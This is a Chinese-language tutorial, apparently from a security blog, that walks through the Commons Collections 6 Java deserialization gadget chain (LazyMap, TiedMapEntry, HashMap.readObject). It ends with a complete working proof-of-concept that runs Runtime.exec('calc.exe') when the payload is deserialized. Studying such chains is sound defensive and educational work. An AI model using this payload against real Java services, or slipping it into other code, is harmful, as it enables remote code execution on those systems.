commons-collections6反序列化链分析
整体分析
cc6这条链我们先来ysoserial看看他的源码,源码如下
我们可以看到,他也是使用了LazyMap,但是不同的是,他是通过其他方式调用到了LazyMap的get方法,我们可以深入来看看,这里由于前面学过cc1的LazyMap的那条链了,关注LazyMap前面的部分就不再赘述,如果有师傅不懂的可以看看前面的文章
细节分析
咱就从 LazyMap的get方法开始吧,因为前面的和之前的链子是一样的。先找到谁调用了get方法,这里直接锁定TiedMapEntry的getValue方法,他这里返回了map.get(key),并且构造函数是publice,可以直接new TiedMapEntry这里的map对应的应该是之前的lazymap

接下来是寻找调用getValue的位置,找到同个类下的hashCode方法

这里调用了getValue()方法,我们得继续往上找,最好能直接找到在readObject方法中调用getValue(),ysoserial中给的是HashMap,那我们就在HashMap中找找

在HaspMap的hash方法中能够找到调用hashCode方法,并且在readObject中找到了调用hash方法


至此这条链是差不多了,我们只需要手写poc即可,但是其实这里是有个小坑,就是在序列化的时候就会弹出计算器,这里的话和urldns那条链差不多的问题,我们这里会发现,在序列化的时候就触发了

这里因为HashMap的put方法也调用了hash,所以我们要通过反射来修改tiedMapEntry的值,这里的话tiedMapEntry里面嵌套了lazyMap,lazyMap里嵌套了chainedTransformer,我们只需要改一层就好了,让他在put的时候的状态不能触发这条链,put完以后再改回去

所以可以直接这样改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}), }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap=new HashMap<>(); Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa"); HashMap hashMap1 = new HashMap(); hashMap1.put(tiedMapEntry,"bbb");
|
代码中被注释掉的都是修改以后的结果,大家可以先看看,但是改完以后会发现,反而没法触发了,这是怎么回事呢?这还是和urldns比较相似,我们只要把之前他put进去的一个键值对删了即可
最终POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class cc6 { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}), }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap=new HashMap<>();
Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa"); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"bbb"); lazyMap.remove("aaa");
Class c=LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); serialize(hashMap1); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; }
}
|